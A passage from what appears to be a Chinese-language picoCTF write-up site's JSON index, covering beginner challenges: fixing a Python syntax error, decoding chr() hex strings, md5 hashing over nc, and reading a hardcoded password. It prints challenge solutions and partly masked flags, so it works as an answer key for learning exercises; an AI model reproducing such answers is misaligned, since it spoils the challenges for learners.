style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ python fixme2.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  File \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/home/kali/workspace/fixme2.py\u0026#34;\u003c/span\u003e, line \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       ^^^^^^^^^\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSyntaxError: invalid syntax. Maybe you meant \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;==\u0026#39;\u003c/span\u003e or \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;:=\u0026#39;\u003c/span\u003e instead of \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;=\u0026#39;\u003c/span\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e使用 \u003ccode\u003enano\u003c/code\u003e 或其他習慣的文字編輯器編輯檔案，將第 22 行的 \u003ccode\u003e=\u003c/code\u003e 改成 \u003ccode\u003e==\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enano fixme2.py\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要退出 \u003ccode\u003enano\u003c/code\u003e 要按下 Ctrl + X，接著按下 Y，再按下 Enter 即可退出。\n退出後再次執行 python 腳本即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python fixme2.py \nThat is correct! Here\u0026#39;s your flag: picoCTF{3qu--------------------------efc}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e random\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estr_xor\u003c/span\u003e(secret, key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#extend key to secret length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e len(new_key) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len(secret):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e new_key \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin([chr(ord(secret_c) \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ord(new_key_c)) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (secret_c,new_key_c) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(secret,new_key)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag_enc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x07\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x27\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x21\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x23\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x18\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x11\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x41\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x09\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x3b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x55\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x34\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x51\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x40\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x54\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x09\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x05\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x04\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x57\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x11\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x31\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x05\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x40\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x04\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x19\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str_xor(flag_enc, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;enkidu\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Check that flag is not empty\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;String XOR encountered a problem, quitting.\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;That is correct! Here\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003es your flag: \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e flag)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"fixme2.py"},{"content":"題目連結 https://learn.cylabacademy.org/library/242\n題目解法 啟動題目並使用 nc 連線後，會得到一個包含 chr(0x61) 的字串。\n$ nc saturn.picoctf.net 65005 \u0026#39;picoCTF{gl17ch_m3_n07_\u0026#39; + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + \u0026#39;}\u0026#39; 要解讀該字串有幾種方法，可以手動對照 ASCII 16 進為，或是直接使用 python 印出字串，就會自動轉成原始字元。使用 python 指令啟動 python 環境，用 print 將字串印出。\n\u0026gt;\u0026gt;\u0026gt; print(\u0026#39;picoCTF{gl17ch_m3_n07_\u0026#39; + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + \u0026#39;}\u0026#39;) picoCTF{gl1----------------d2e} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/glitch-cat/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/242\"\u003ehttps://learn.cylabacademy.org/library/242\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動題目並使用 \u003ccode\u003enc\u003c/code\u003e 連線後，會得到一個包含 \u003ccode\u003echr(0x61)\u003c/code\u003e 的字串。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ nc saturn.picoctf.net 65005\n\u0026#39;picoCTF{gl17ch_m3_n07_\u0026#39; + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + \u0026#39;}\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要解讀該字串有幾種方法，可以手動對照 ASCII 16 進為，或是直接使用 python 印出字串，就會自動轉成原始字元。使用 \u003ccode\u003epython\u003c/code\u003e 指令啟動 python 環境，用 \u003ccode\u003eprint\u003c/code\u003e 將字串印出。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026gt;\u0026gt;\u0026gt; print(\u0026#39;picoCTF{gl17ch_m3_n07_\u0026#39; + chr(0x61) + chr(0x34) + chr(0x33) + chr(0x39) + chr(0x32) + chr(0x64) + chr(0x32) + chr(0x65) + \u0026#39;}\u0026#39;)\npicoCTF{gl1----------------d2e}\n\u003c/code\u003e\u003c/pre\u003e","title":"Glitch Cat"},{"content":"題目連結 https://learn.cylabacademy.org/library/243\n題目解法 啟動題目後，使用 nc 指令連線後，題目會提供一個字串，要求使用 md5 雜湊後的值，輸入正確三次即可得到 flag。可以搜尋 md5 雜湊工具、cyberchek、或是使用 md5sum 指令。 md5sum 使用方式：\n$ echo -n \u0026#34;caffeine\u0026#34; | md5sum e724f8b8a8349afb5beaeaa300323933 - 實際連線：\n$ nc saturn.picoctf.net 56275 Please md5 hash the text between quotes, excluding the quotes: \u0026#39;caffeine\u0026#39; Answer: e724f8b8a8349afb5beaeaa300323933 e724f8b8a8349afb5beaeaa300323933 Correct. Please md5 hash the text between quotes, excluding the quotes: \u0026#39;Japan\u0026#39; Answer: 53a577bb3bc587b0c28ab808390f1c9b 53a577bb3bc587b0c28ab808390f1c9b Correct. Please md5 hash the text between quotes, excluding the quotes: \u0026#39;hangnails\u0026#39; Answer: 7e3193d5ef5d764bfd8874dda4b5253a 7e3193d5ef5d764bfd8874dda4b5253a Correct. picoCTF{4pp-----------------------de2} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/hashingjobapp/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/243\"\u003ehttps://learn.cylabacademy.org/library/243\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動題目後，使用 \u003ccode\u003enc\u003c/code\u003e 指令連線後，題目會提供一個字串，要求使用 md5 雜湊後的值，輸入正確三次即可得到 flag。可以搜尋 md5 雜湊工具、\u003ca href=\"https://gchq.github.io/CyberChef/#recipe=MD5()\"\u003ecyberchek\u003c/a\u003e、或是使用 \u003ccode\u003emd5sum\u003c/code\u003e 指令。\n\u003ccode\u003emd5sum\u003c/code\u003e 使用方式：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ echo -n \u0026#34;caffeine\u0026#34; | md5sum                     \ne724f8b8a8349afb5beaeaa300323933  -\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e實際連線：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ nc saturn.picoctf.net 56275\nPlease md5 hash the text between quotes, excluding the quotes: \u0026#39;caffeine\u0026#39;\nAnswer: \ne724f8b8a8349afb5beaeaa300323933\ne724f8b8a8349afb5beaeaa300323933\nCorrect.\nPlease md5 hash the text between quotes, excluding the quotes: \u0026#39;Japan\u0026#39;\nAnswer: \n53a577bb3bc587b0c28ab808390f1c9b\n53a577bb3bc587b0c28ab808390f1c9b\nCorrect.\nPlease md5 hash the text between quotes, excluding the quotes: \u0026#39;hangnails\u0026#39;\nAnswer: \n7e3193d5ef5d764bfd8874dda4b5253a\n7e3193d5ef5d764bfd8874dda4b5253a\nCorrect.\npicoCTF{4pp-----------------------de2}\n\u003c/code\u003e\u003c/pre\u003e","title":"HashingJobApp"},{"content":"題目連結 https://learn.cylabacademy.org/library/245\n題目解法 將 level1.py 以及 level1.flag.txt.enc 兩個檔案放在同個目錄下。 可以看到 level1.py 第 19 行有寫出密碼\nuser_pw == \u0026#34;1e1a\u0026#34; 執行腳本後輸入密碼 1e1a 即可得到 flag。\n$ python level1.py Please enter correct password for flag: 1e1a Welcome back... your flag, user: picoCTF{545---------------060} 題目原始碼 level1.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ######################## def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) \u0026lt; len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return \u0026#34;\u0026#34;.join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)]) ############################################################################### flag_enc = open(\u0026#39;level1.flag.txt.enc\u0026#39;, \u0026#39;rb\u0026#39;).read() def level_1_pw_check(): user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) if( user_pw == \u0026#34;1e1a\u0026#34;): print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), user_pw) print(decryption) return print(\u0026#34;That password is incorrect\u0026#34;) level_1_pw_check() ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/pw-crack-1/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/245\"\u003ehttps://learn.cylabacademy.org/library/245\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e將 \u003ccode\u003elevel1.py\u003c/code\u003e 以及 \u003ccode\u003elevel1.flag.txt.enc\u003c/code\u003e 兩個檔案放在同個目錄下。\n可以看到 \u003ccode\u003elevel1.py\u003c/code\u003e 第 19 行有寫出密碼\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003euser_pw == \u0026#34;1e1a\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e執行腳本後輸入密碼 \u003ccode\u003e1e1a\u003c/code\u003e 即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python level1.py            \nPlease enter correct password for flag: 1e1a\nWelcome back... your flag, user:\npicoCTF{545---------------060}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003elevel1.py\u003c/code\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 